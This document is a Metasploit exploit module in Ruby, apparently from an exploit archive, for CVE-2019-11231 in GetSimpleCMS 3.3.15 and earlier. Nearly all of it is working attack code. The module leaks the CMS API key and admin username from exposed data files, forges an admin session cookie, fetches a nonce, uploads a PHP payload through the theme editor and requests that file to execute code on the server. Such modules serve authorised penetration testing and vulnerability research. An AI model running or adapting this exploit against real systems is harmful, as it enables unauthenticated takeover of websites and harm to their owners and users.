GetSimpleCMS 3.3.15 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "GetSimpleCMS Unauthenticated RCE",  
'Description' => %q{  
This module exploits a vulnerability found in GetSimpleCMS,  
which allows unauthenticated attackers to perform Remote Code Execution.  
An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,  
however authentication can be bypassed by leaking the cms API key to target the session manager.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team  
],  
'References' =>  
[  
['CVE', '2019-11231'],  
['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['GetSimpleCMS 3.3.15 and before', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 28 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])  
])  
end  
  
def gscms_version  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin', '/')  
)  
return unless res && res.code == 200  
  
generator = res.get_html_document.at(  
'//script[@type = "text/javascript"]/@src'  
)  
  
fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator  
vers = generator.value.split('?v=').last.gsub(".","")  
return unless vers  
@version = vers  
end  
  
def get_salt  
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
return unless res && res.code == 200  
  
fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?  
@salt = res.get_xml_document.at('apikey').text  
end  
  
def get_user  
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
return unless res && res.code == 200  
  
fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?  
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first  
end  
  
def gen_cookie(version,salt,username)  
cookie_name = "getsimple_cookie_#{version}"  
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")  
  
sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")  
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"  
end  
def get_nonce(cookie)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),  
'cookie' => cookie,  
'vars_get' => {  
't' => 'Innovation',  
'f' => 'Default Template',  
's' => 'Edit'  
}  
})  
  
fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?  
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')  
end  
version = gscms_version  
salt = get_salt  
username = get_user  
cookie = gen_cookie(version,salt,username)  
nonce = get_nonce(cookie)  
  
fname = "#{rand_text_alpha(6..16)}.php"  
php = %Q|<?php #{payload.encoded} ?>|  
upload_file(cookie,nonce,fname,php)  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path,'theme',fname),  
})  
end  
  
def check  
version = gscms_version  
unless version  
return CheckCode::Safe  
end  
vprint_status "GetSimpleCMS version #{version}"  
unless vulnerable  
return CheckCode::Detected  
end  
CheckCode::Vulnerable  
end  
  
def vulnerable  
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
return unless res && res.code == 200  
  
uri = normalize_uri(target_uri.path, 'data', 'users', '/')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri  
)  
return unless res && res.code == 200  
return true  
end  
  
def upload_file(cookie,nonce,fname,content)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),  
'cookie' => cookie,  
'vars_post' => {  
'submitsave' => 2,  
'edited_file' => fname,  
'content' => content,  
'nonce' => nonce  
}  
})  
end  
end  
`